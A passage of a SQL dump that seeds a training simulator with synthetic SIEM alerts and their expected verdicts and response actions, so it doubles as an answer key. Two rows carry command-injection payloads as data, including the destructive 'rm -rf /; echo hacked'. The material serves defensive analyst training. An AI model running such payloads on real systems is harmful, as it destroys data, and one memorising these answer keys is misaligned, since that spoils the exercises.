(1847, 'Unauthorized Application Installation Detected', 'high', 'Wazuh', 'A suspicious process execution was detected on a workstation, indicating potential unauthorized software installation.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.3.10\",\"username\":\"jdoe\",\"hostname\":\"workstation01\",\"request_body\":\"\",\"command_line\":\"C:\\\\Temp\\\\malicious_installer.exe\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for distributing malware.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Temp\\\\malicious_installer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Executable file flagged as malicious by 12 antivirus engines.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"This alert is a true positive, indicating a malware infection attempt on the workstation.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1848, 'Routine Vulnerability Scanning Detected from Internal Network', 'low', 'Splunk', 'A series of network vulnerability scans originating from an internal IP address were detected. These scans are part of a scheduled system health check by the IT department.', 'Network Scanning', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"192.168.1.10\",\"username\":\"it_admin\",\"hostname\":\"scanner01.internal.net\",\"command_line\":\"nmap -sV -p- 192.168.1.10\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for routine scanning\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sV -p- 192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for vulnerability assessment\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_scanning\",\"analysis_notes\":\"The activity was confirmed as a sanctioned IT operation for vulnerability scanning.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1849, 'Failed Login Attempts from External IP Address', 'medium', 'Elastic SIEM', 'Multiple failed login attempts were detected from an external IP address. These activities were investigated and found to be part of an authorized external penetration test.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.20\",\"username\":\"external_tester\",\"hostname\":\"webserver01.internal.net\",\"failed_attempts\":15}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported for failed login attempts during authorized test\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"external_tester\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Username used during authorized penetration testing\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP was part of a scheduled penetration test with known credentials.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1850, 'Scheduled System Backup Detected as Suspicious Activity', 'low', 'Wazuh', 'A scheduled system backup was detected, initiating large data transfers. This was flagged as suspicious but was confirmed to be part of routine operations.', 'Data Transfer', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.2.50\",\"username\":\"backup_service\",\"hostname\":\"backup01.internal.net\",\"command_line\":\"rsync -avz /data /backup\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"rsync -avz /data /backup\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for routine data backup\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"backup_service\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Service account used for scheduled backups\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_transfer\",\"analysis_notes\":\"The process was identified as a normal system backup operation.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1851, 'Misconfigured Legacy App Triggering Firewall Alerts', 'medium', 'Azure Sentinel', 'An outdated legacy application is triggering firewall alerts with its unusual traffic patterns. The application is known and regularly monitored by IT.', 'Network Traffic Anomaly', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.15\",\"dst_ip\":\"198.51.100.10\",\"username\":\"legacy_user\",\"hostname\":\"legacyapp.internal.net\",\"command_line\":\"java -jar legacyapp.jar\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with legacy application\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"java -jar legacyapp.jar\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used to run legacy application\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_traffic_anomaly\",\"analysis_notes\":\"The alerts were due to known traffic patterns of a monitored legacy application.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1852, 'Unauthorized Remote Access Detected from External IP', 'high', 'Wazuh', 'A successful remote access was detected from an external IP address to an internal server using valid credentials. This was identified as an unauthorized access attempt.', 'Credential Access', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:30:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"185.199.108.153\",\"dst_ip\":\"192.168.1.30\",\"username\":\"compromised_user\",\"hostname\":\"server01.internal.net\",\"command_line\":\"ssh -i key.pem user@192.168.1.30\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple unauthorized access reports\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Username compromised in this incident\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_access\",\"analysis_notes\":\"The access was verified as unauthorized with malicious intent based on OSINT results.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1853, 'Routine IT Vulnerability Scan Detected', 'low', 'Splunk', 'An internal vulnerability scan triggered multiple alerts due to its scanning behavior, which resembles malicious activity. The source IP belongs to the IT department.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.255\",\"username\":\"admin_scan\",\"hostname\":\"network-scanner\",\"command_line\":\"nmap -sV -p 1-65535 192.168.1.0/24\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by IT for vulnerability scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sV -p 1-65535 192.168.1.0/24\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Nmap command commonly used for network scanning.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The activity was identified as a routine IT vulnerability scan, not a malicious lateral movement attempt.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1854, 'Authorized Administrative Backup Detected', 'low', 'Azure Sentinel', 'A scheduled backup operation was misidentified as data exfiltration due to high volume of data transfer. Backup is authorized and occurs weekly.', 'Data Exfil', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:15:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.20\",\"username\":\"backup_admin\",\"hostname\":\"backup-server\",\"command_line\":\"rsync -avz /data/backup/ remote@backup-server:/backup/\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for authorized backup operations.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -avz /data/backup/ remote@backup-server:/backup/\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Rsync command used for data synchronization and backup.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected activity correlates with a scheduled and authorized backup operation.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1855, 'Misconfigured Legacy Application Network Activity', 'medium', 'Wazuh', 'A legacy application generated unusual network traffic patterns, triggering alerts. This activity is linked to a known misconfiguration.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.30\",\"dst_ip\":\"192.168.2.255\",\"username\":\"legacy_app\",\"hostname\":\"legacy-server\",\"command_line\":\"/usr/bin/legacyapp --connect 192.168.2.255\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with legacy application.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/bin/legacyapp --connect 192.168.2.255\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used by legacy application for network communication.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The alert is due to a known misconfiguration in a legacy application, not a lateral movement attempt.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1856, 'Benign System Health Check Triggered Potential Threat Alert', 'low', 'Elastic SIEM', 'A scheduled system health check was flagged as a potential threat due to high-frequency network probes. Activity is part of regular maintenance.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"192.168.3.255\",\"username\":\"sys_health\",\"hostname\":\"health-checker\",\"command_line\":\"/usr/bin/system_check --full-scan\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for system health checks.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/bin/system_check --full-scan\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for performing full system health checks.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The activity is part of scheduled system health checks, not malware activity.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1857, 'Potential Command Injection Attempt Detected', 'high', 'Splunk', 'A potential command injection attempt was detected by a web application firewall. Further investigation is required to confirm the threat.', 'Web Attack', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:20:50Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.4.100\",\"username\":\"web_user\",\"hostname\":\"web-server\",\"request_body\":\"cmd.exe /c echo vulnerable\",\"command_line\":\"curl -X POST -d \'cmd.exe /c echo vulnerable\' http://192.168.4.100/execute\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"cmd.exe /c echo vulnerable\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command injection attempt detected.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The presence of a known malicious IP and a command injection payload confirms this as a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1858, 'Routine IT Vulnerability Scan Detected as Brute Force Attack', 'low', 'Splunk', 'A series of login failures were detected from an internal IP address, which is consistent with routine IT vulnerability scanning operations.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:35:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"10.0.0.5\",\"username\":\"admin\",\"hostname\":\"internal-scanner\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by IT department for vulnerability scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Username commonly used in internal scans.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity matches routine vulnerability scanning patterns and originates from an internal IP.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1859, 'Authorized Administrative Backup Triggered Malware Alert', 'medium', 'Wazuh', 'A backup script execution was flagged as malware due to its behavior resembling ransomware. Upon analysis, it is an authorized backup operation.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T04:47:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.1.1.20\",\"dst_ip\":\"\",\"username\":\"backup_admin\",\"hostname\":\"backup-server\",\"request_body\":\"\",\"command_line\":\"rsync -avz /data /backup\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"rsync -avz /data /backup\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"clean\",\"details\":\"Authorized backup operation using rsync.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"backup_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Authorized user for executing backup scripts.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The command is a legitimate backup operation executed by an authorized user.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1860, 'Misconfigured Legacy Application Causes Suspicious Network Traffic', 'medium', 'Elastic SIEM', 'Network activity from a legacy application was flagged as suspicious due to non-standard communication patterns, which are typical for its outdated protocol.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:12:21Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"192.168.2.50\",\"username\":\"\",\"hostname\":\"legacy-app-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a legacy application server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address receiving data from a legacy application.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This traffic is generated by an outdated protocol from a legacy system, not indicative of an attack.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1861, 'Benign System Health Check Flagged as Phishing Attempt', 'low', 'Azure Sentinel', 'An email with a URL was flagged as a phishing attempt. After review, it was identified as a system health check email from a trusted vendor.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:58:37Z\",\"event_type\":\"email_received\",\"src_ip\":\"\",\"dst_ip\":\"\",\"username\":\"user1@example.com\",\"hostname\":\"\",\"request_body\":\"\",\"command_line\":\"\",\"email_sender\":\"healthcheck@trustedvendor.com\",\"url\":\"https://status.trustedvendor.com/check\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"healthcheck@trustedvendor.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Email address belongs to a trusted vendor.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://status.trustedvendor.com/check\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL is a legitimate system status page.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email and URL were verified to be from a trusted source and are part of regular system checks.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1862, 'Real Malware Detected by Network Monitoring', 'high', 'Wazuh', 'A suspicious process execution was detected on a workstation. OSINT lookup confirmed malicious activity related to a known malware hash.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:18:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"workstation-45\",\"request_body\":\"\",\"command_line\":\"malware_process.exe\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"malware_process.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known malware.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected in 45/70 antivirus engines as malicious.\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash is confirmed malicious, indicating a malware infection that needs immediate attention.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1863, 'Suspicious Login Attempt from External IP', 'medium', 'Splunk', 'A login attempt was detected from an external IP address commonly associated with brute force attacks. The attempt involved multiple failed login attempts.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:12:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.25\",\"username\":\"jdoe\",\"hostname\":\"server01\",\"failed_attempts\":12}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 15 times for failed login attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Valid internal user\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP showed suspicious behavior but did not result in a successful login, indicating a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1864, 'Authorized Vulnerability Scan Detected as Potential Attack', 'low', 'Wazuh', 'Routine IT vulnerability scanning activity was flagged as a potential network scan attack. The scan originated from an internal IP.', 'Network Scan', 'T1595', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:30:14Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.25\",\"hostname\":\"vulnscanner\",\"command_line\":\"nmap -sS 192.168.1.0/24\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP belongs to authorized vulnerability scanning tool\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS 192.168.1.0/24\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"clean\",\"details\":\"Authorized network scan command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_scan\",\"analysis_notes\":\"The activity was part of scheduled vulnerability scanning, making the alert a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1865, 'Phishing Email Detected from Known Safe Sender', 'medium', 'Azure Sentinel', 'A potential phishing email was detected but originated from a legitimate sender known to the organization.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.50\",\"email_sender\":\"it-support@trustedcompany.com\",\"hostname\":\"mailserver01\",\"subject\":\"Critical Security Update\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"it-support@trustedcompany.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"clean\",\"details\":\"Email sender verified as a trusted source\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported for this IP\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email was sent by a known and trusted sender, confirming it as a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1866, 'Routine Backup Process Misidentified as Malicious Activity', 'low', 'Elastic SIEM', 'A routine backup process executed on the server was mistakenly flagged as malicious due to its network activity.', 'Data Exfiltration', 'T1070', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.35\",\"username\":\"backupadmin\",\"hostname\":\"backup-server\",\"command_line\":\"/usr/bin/rsync -avz /data backup@192.168.1.35:/backup\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"/usr/bin/rsync -avz /data backup@192.168.1.35:/backup\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"clean\",\"details\":\"Command corresponds to scheduled backup task\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.35\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Destination IP is internal backup server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The process was identified as a backup operation, confirming the alert as a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1867, 'Command Injection Attempt Detected in Web Application', 'high', 'Elastic SIEM', 'A web application detected a command injection attempt using a suspicious payload. The source IP is known for launching such attacks.', 'Web Attack', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:20:30Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.10\",\"hostname\":\"webserver01\",\"request_body\":\"rm -rf /; echo hacked\",\"url\":\"/vulnerable_endpoint\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for web attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"rm -rf /; echo hacked\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload and IP analysis confirmed an active command injection attack.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
